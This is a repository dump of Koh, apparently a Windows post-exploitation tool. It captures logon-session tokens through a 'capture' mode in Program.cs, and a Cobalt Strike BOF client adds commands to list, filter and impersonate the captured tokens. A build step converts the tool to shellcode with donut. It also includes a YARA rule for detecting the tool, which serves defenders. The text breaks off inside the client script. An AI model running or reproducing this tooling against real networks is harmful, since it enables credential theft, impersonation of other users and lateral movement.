├── Misc ├── donut.exe └── Donut.license ├── .gitignore ├── Koh ├── app.config ├── Properties │ └── AssemblyInfo.cs ├── Koh.csproj ├── LUID.cs ├── SecBuffer.cs ├── Program.cs ├── SecBufferDesc.cs ├── Find.cs ├── Helpers.cs ├── Creds.cs ├── Interop.cs ├── Capture.cs └── Pipe.cs ├── Clients └── BOF │ ├── build.sh │ ├── beacon.h │ ├── KohClient.h │ ├── KohClient.cna │ └── KohClient.c ├── CHANGELOG.md ├── Koh.yar ├── LICENSE ├── Koh.sln └── README.md /Misc/donut.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/Koh/main/Misc/donut.exe -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | .DS_Store 8 | 9 | Koh.exe 10 | Koh.bin -------------------------------------------------------------------------------- /Koh/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Clients/BOF/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Building Koh BOFs..." 4 | 5 | i686-w64-mingw32-gcc -c KohClient.c -o KohClient.x86.o && x86_64-w64-mingw32-gcc -c KohClient.c -o KohClient.x64.o 6 | 7 | echo "Build completed!" 8 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 6 | 7 | ## [1.0.0] - 2018-07-07 8 | 9 | * Initial release 10 | -------------------------------------------------------------------------------- /Koh.yar: -------------------------------------------------------------------------------- 1 | rule HKTL_Koh_TokenStealer 2 | { 3 | meta: 4 | description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project." 5 | author = "Will Schroeder (@harmj0y)" 6 | reference = "https://github.com/GhostPack/Koh" 7 | strings: 8 | $x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii 9 | 10 | $s1 = "[*] Already SYSTEM, not elevating" wide fullword 11 | $s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide 12 | $s3 = "0x[0-9A-Fa-f]+$" wide 13 | $s4 = "\\Koh.pdb" ascii 14 | condition: 15 | uint16(0) == 0x5A4D and 1 of ($x*) or 3 of them 16 | } -------------------------------------------------------------------------------- /Koh/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Koh")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Koh")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("4d5350c8-7f8c-47cf-8cde-c752018af17e")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Misc/Donut.license: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | * Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | * Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Will Schroeder 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Koh.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29009.5 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Koh", "Koh\Koh.csproj", "{4D5350C8-7F8C-47CF-8CDE-C752018AF17E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x64.ActiveCfg = Debug|Any CPU 21 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x64.Build.0 = Debug|Any CPU 22 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x86.ActiveCfg = Debug|Any CPU 23 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Debug|x86.Build.0 = Debug|Any CPU 24 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x64.ActiveCfg = Release|Any CPU 27 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x64.Build.0 = Release|Any CPU 28 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x86.ActiveCfg = Release|Any CPU 29 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E}.Release|x86.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {19CD90DA-BCD6-40AA-B080-0C8B82595CB8} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /Clients/BOF/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /Koh/Koh.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {4D5350C8-7F8C-47CF-8CDE-C752018AF17E} 8 | Exe 9 | Koh 10 | Koh 11 | v4.7.2 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | none 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | copy /Y $(TargetPath) $(SolutionDir) 65 | "$(SolutionDir)\misc\donut.exe" -p capture -e 3 -z 5 -b 2 -a 3 -o "$(SolutionDir)$(ProjectName).bin" $(TargetPath) 66 | 67 | -------------------------------------------------------------------------------- /Koh/LUID.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Koh 5 | { 6 | [StructLayout(LayoutKind.Sequential)] 7 | public struct LUID 8 | { 9 | public UInt32 LowPart; 10 | public Int32 HighPart; 11 | 12 | public LUID(UInt64 value) 13 | { 14 | LowPart = (UInt32)(value & 0xffffffffL); 15 | HighPart = (Int32)(value >> 32); 16 | } 17 | 18 | public LUID(LUID value) 19 | { 20 | LowPart = value.LowPart; 21 | HighPart = value.HighPart; 22 | } 23 | 24 | public LUID(string value) 25 | { 26 | if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) 27 | { 28 | // if the passed LUID string is of form 0xABC123 29 | UInt64 uintVal = Convert.ToUInt64(value, 16); 30 | LowPart = (UInt32)(uintVal & 0xffffffffL); 31 | HighPart = (Int32)(uintVal >> 32); 32 | } 33 | else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) 34 | { 35 | // if the passed LUID string is a decimal form 36 | UInt64 uintVal = UInt64.Parse(value); 37 | LowPart = (UInt32)(uintVal & 0xffffffffL); 38 | HighPart = (Int32)(uintVal >> 32); 39 | } 40 | else 41 | { 42 | ArgumentException argEx = new ArgumentException("Passed LUID string value is not in a hex or decimal form", value); 43 | throw argEx; 44 | } 45 | } 46 | 47 | public override int GetHashCode() 48 | { 49 | UInt64 Value = ((UInt64)HighPart << 32) + LowPart; 50 | return Value.GetHashCode(); 51 | } 52 | 53 | public override bool Equals(object obj) 54 | { 55 | return obj is LUID && (((ulong)this) == (LUID)obj); 56 | } 57 | 58 | public byte[] GetBytes() 59 | { 60 | byte[] bytes = new byte[8]; 61 | 62 | byte[] lowBytes = BitConverter.GetBytes(LowPart); 63 | byte[] highBytes = BitConverter.GetBytes(HighPart); 64 | 65 | Array.Copy(lowBytes, 0, bytes, 0, 4); 66 | Array.Copy(highBytes, 0, bytes, 4, 4); 67 | 68 | return bytes; 69 | } 70 | 71 | public override string ToString() 72 | { 73 | UInt64 Value = ((UInt64)HighPart << 32) + LowPart; 74 | return String.Format("0x{0:x}", (ulong)Value); 75 | } 76 | 77 | public static bool operator ==(LUID x, LUID y) 78 | { 79 | return (((ulong)x) == ((ulong)y)); 80 | } 81 | 82 | public static bool operator !=(LUID x, LUID y) 83 | { 84 | return (((ulong)x) != ((ulong)y)); 85 | } 86 | 87 | public static implicit operator ulong(LUID luid) 88 | { 89 | // enable casting to a ulong 90 | UInt64 Value = ((UInt64)luid.HighPart << 32); 91 | return Value + luid.LowPart; 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /Koh/SecBuffer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Koh 5 | { 6 | // From https://github.com/mono/linux-packaging-mono/blob/bc64aa5907f74087a6adabcff5ff79cfd2904040/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBuffer.cs 7 | // MIT license 8 | [StructLayout(LayoutKind.Sequential)] 9 | public struct SecBuffer : IDisposable 10 | { 11 | public int BufferSize; 12 | public int BufferType; 13 | public IntPtr BufferPtr; 14 | 15 | /// 16 | /// Initialization constructor that allocates a new security buffer 17 | /// 18 | /// Size of the buffer to allocate 19 | internal SecBuffer(int bufferSize) 20 | { 21 | // Save buffer size 22 | BufferSize = bufferSize; 23 | 24 | // Set buffer type (2 = Token) 25 | BufferType = 2; 26 | 27 | // Allocate buffer 28 | BufferPtr = Marshal.AllocHGlobal(bufferSize); 29 | } 30 | 31 | /// 32 | /// Initialization constructor for existing buffer 33 | /// 34 | /// Data 35 | internal SecBuffer(byte[] buffer) 36 | { 37 | // Save buffer size 38 | BufferSize = buffer.Length; 39 | 40 | // Set buffer type (2 = Token) 41 | BufferType = 2; 42 | 43 | // Allocate unmanaged memory for the buffer 44 | BufferPtr = Marshal.AllocHGlobal(BufferSize); 45 | 46 | 47 | try 48 | { 49 | // Copy data into the unmanaged memory 50 | Marshal.Copy(buffer, 0, BufferPtr, BufferSize); 51 | } 52 | catch (Exception) 53 | { 54 | // Dispose object 55 | Dispose(); 56 | 57 | // Re-throw exception 58 | throw; 59 | } 60 | } 61 | 62 | /// 63 | /// Extract raw byte data from the security buffer 64 | /// 65 | internal byte[] ToArray() 66 | { 67 | // Check if we have a security buffer 68 | if (BufferPtr == IntPtr.Zero) 69 | { 70 | return new byte[] { }; 71 | } 72 | 73 | // Allocate byte buffer 74 | var buffer = new byte[BufferSize]; 75 | 76 | // Copy data from the native space 77 | Marshal.Copy(BufferPtr, buffer, 0, BufferSize); 78 | 79 | return buffer; 80 | } 81 | 82 | /// 83 | /// Dispose security buffer 84 | /// 85 | public void Dispose() 86 | { 87 | // Check buffer pointer validity 88 | if (BufferPtr != IntPtr.Zero) 89 | { 90 | // Release memory associated with it 91 | Marshal.FreeHGlobal(BufferPtr); 92 | 93 | // Reset buffer pointer 94 | BufferPtr = IntPtr.Zero; 95 | } 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /Clients/BOF/KohClient.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 5 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 6 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); 7 | 8 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 9 | WINBASEAPI int __cdecl MSVCRT$printf(const char *__format, ...); 10 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); 11 | //WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str); 12 | WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount); 13 | 14 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptAcquireContextA( HCRYPTPROV *, LPCSTR, LPCSTR, DWORD, DWORD ); 15 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptCreateHash( HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH * ); 16 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptHashData( HCRYPTHASH, const BYTE *, DWORD, DWORD ); 17 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptReleaseContext( HCRYPTPROV, DWORD); 18 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptGetHashParam( HCRYPTHASH, DWORD, PBYTE, PDWORD, DWORD ); 19 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptDestroyHash( HCRYPTHASH ); 20 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$CryptReleaseContext( HCRYPTPROV, DWORD ); 21 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$InitializeSecurityDescriptor( PSECURITY_DESCRIPTOR, DWORD ); 22 | DECLSPEC_IMPORT WINADVAPI BOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl( PSECURITY_DESCRIPTOR, BOOL, PACL, BOOL); 23 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$ImpersonateNamedPipeClient (HANDLE); 24 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken (HANDLE, DWORD, BOOL, PHANDLE); 25 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE); 26 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$RevertToSelf (void); 27 | 28 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 29 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 30 | WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 31 | WINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 32 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateNamedPipeA (LPCSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES); 33 | WINBASEAPI BOOL WINAPI KERNEL32$ConnectNamedPipe (HANDLE, LPOVERLAPPED); 34 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread (void); 35 | WINBASEAPI HANDLE WINAPI KERNEL32$DisconnectNamedPipe (HANDLE); 36 | WINBASEAPI HANDLE WINAPI KERNEL32$CloseHandle (HANDLE); 37 | 38 | DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T); 39 | DECLSPEC_IMPORT WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL); 40 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GetComputerNameA (LPSTR, LPDWORD); 41 | 42 | WINBASEAPI NTSTATUS NTAPI NTDLL$RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN); 43 | -------------------------------------------------------------------------------- /Koh/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Concurrent; 3 | 4 | namespace Koh 5 | { 6 | class Program 7 | { 8 | // the maximum number of unique tokens/logon sessions to capture 9 | public static int maxTokens = 1000; 10 | 11 | // whether we've been warned that we've hit max captured tokens 12 | public static bool maxWarned = false; 13 | 14 | static void Main(string[] args) 15 | { 16 | try 17 | { 18 | // Debug mode outputs additional output on the command line for the server 19 | #if DEBUG 20 | bool DEBUG = true; 21 | #else 22 | bool DEBUG = false; 23 | #endif 24 | 25 | // password used for communications, super securez I know :) 26 | string password = "password"; 27 | string pipeName = "imposecost"; 28 | 29 | // thread safe dictionary for metadata, i.e., signaling we're exiting 30 | ConcurrentDictionary meta = new ConcurrentDictionary(); 31 | meta["SignalExit"] = 0; 32 | meta["AcquireCredentialsHandleError"] = 0; 33 | 34 | // thread safe dictionary for session capture 35 | ConcurrentDictionary capturedSessions = new ConcurrentDictionary(); 36 | 37 | // thread safe dictionary for sid filtering/updating 38 | ConcurrentDictionary filterSids = new ConcurrentDictionary(); 39 | 40 | // thread safe dictionary for sids to exclude from capture 41 | ConcurrentDictionary excludeSids = new ConcurrentDictionary(); 42 | 43 | Helpers.Logo(); 44 | 45 | if (args.Length > 0) 46 | { 47 | string command = args[0].ToLower(); 48 | Console.WriteLine($"\n [*] Command: {command}"); 49 | 50 | for (int i = 1; i < args.Length; i++) 51 | { 52 | // any additional arguments -> assume they're domain group SIDs for filtering 53 | if (Helpers.IsDomainSid(args[i])) 54 | { 55 | filterSids.TryAdd(args[i], true); 56 | } 57 | else 58 | { 59 | if(args[i].ToLower() == "/debug") 60 | { 61 | DEBUG = true; 62 | } 63 | } 64 | } 65 | 66 | if (command == "list") 67 | { 68 | // list all current logon sessions 69 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, false, false); 70 | } 71 | else if (command == "monitor") 72 | { 73 | // monitor a host for new logon sessions 74 | PipeServer server = new PipeServer(pipeName, password, meta, capturedSessions, excludeSids, filterSids, "monitor", DEBUG); 75 | server.Run(); 76 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, true, false); 77 | } 78 | else if (command == "capture") 79 | { 80 | // monitor a host for new logon sessions and "capture" all sessions by negotiating a new token for each 81 | PipeServer server = new PipeServer(pipeName, password, meta, capturedSessions, excludeSids, filterSids, "capture", DEBUG); 82 | server.Run(); 83 | 84 | Capture.Sessions(meta, capturedSessions, excludeSids, filterSids, true, true); 85 | } 86 | else 87 | { 88 | Helpers.Usage(); 89 | } 90 | } 91 | else 92 | { 93 | Helpers.Usage(); 94 | } 95 | } 96 | catch (Exception e) 97 | { 98 | Console.WriteLine($" [!] Unhandled terminating exception: {e}"); 99 | } 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /Clients/BOF/KohClient.cna: -------------------------------------------------------------------------------- 1 | 2 | beacon_command_register( 3 | "koh", 4 | "Interacts with a running Koh server.", 5 | "koh list - lists captured tokens\n". 6 | "koh groups LUID - lists the group SIDs for a captured token\n". 7 | "koh filter list - lists the group SIDs used for capture filtering\n". 8 | "koh filter add SID - adds a group SID for capture filtering\n". 9 | "koh filter remove SID - removes a group SID from capture filtering\n". 10 | "koh filter reset - resets the SID group capture filter\n". 11 | "koh impersonate LUID - impersonates the captured token with the give LUID\n". 12 | "koh release all - releases all captured tokens\n". 13 | "koh release LUID - releases the captured token for the specified LUID\n". 14 | "koh exit - signals the Koh server to exit\n"); 15 | 16 | 17 | alias koh { 18 | local('$0 $1 $2 $3 $bid $barch $BOFPath $bofArgs $command $handle $bofData') 19 | 20 | $bid = $1; 21 | $command = $2; 22 | 23 | $bofArgs = $null; 24 | 25 | $barch = barch($bid); 26 | $BOFPath = script_resource("KohClient." . $barch . ".o"); 27 | 28 | try { 29 | $handle = openf($BOFPath); 30 | $bofData = readb($handle, -1); 31 | closef($handle); 32 | if(strlen($bofData) < 1) 33 | { 34 | berror($bid, "KohClient BOF not found!"); 35 | return; 36 | } 37 | } 38 | catch $message 39 | { 40 | berror($bid, "KohClient BOF not found!"); 41 | return; 42 | } 43 | 44 | # Koh commands: 45 | 46 | # 1 - list captured tokens 47 | # 2 LUID - list groups for a captured token 48 | 49 | # 100 - list group SIDs currently used for capture filtering 50 | # 101 SID - adds group SID for capture filtering 51 | # 102 SID - removes a group SID for capture filtering 52 | # 103 - resets all group SIDs for capture filtering 53 | 54 | # 200 LUID - lists the groups for the specified LUID/captured token 55 | 56 | # 300 LUID - impersonate a captured token 57 | 58 | # 400 - release all tokens 59 | # 401 LUID - release a token for the specifed LUID 60 | 61 | # 57005 - signal Koh to exit 62 | 63 | if($command iswm "list") { 64 | if($3 == $null) { 65 | $bofArgs = bof_pack($bid, "iiz", 1, 0, ""); 66 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 67 | } 68 | else { 69 | $bofArgs = bof_pack($bid, "iiz", 2, $3, ""); 70 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 71 | } 72 | } 73 | else if($command iswm "filter") { 74 | if($3 iswm "list") { 75 | $bofArgs = bof_pack($bid, "iiz", 100, 0, ""); 76 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 77 | } 78 | else if($3 iswm "add") { 79 | $bofArgs = bof_pack($bid, "iiz", 101, 0, $4); 80 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 81 | } 82 | else if($3 iswm "remove") { 83 | $bofArgs = bof_pack($bid, "iiz", 102, 0, $4); 84 | beacon_inline_execute($bid, $bofData, "go", $bofArgs); 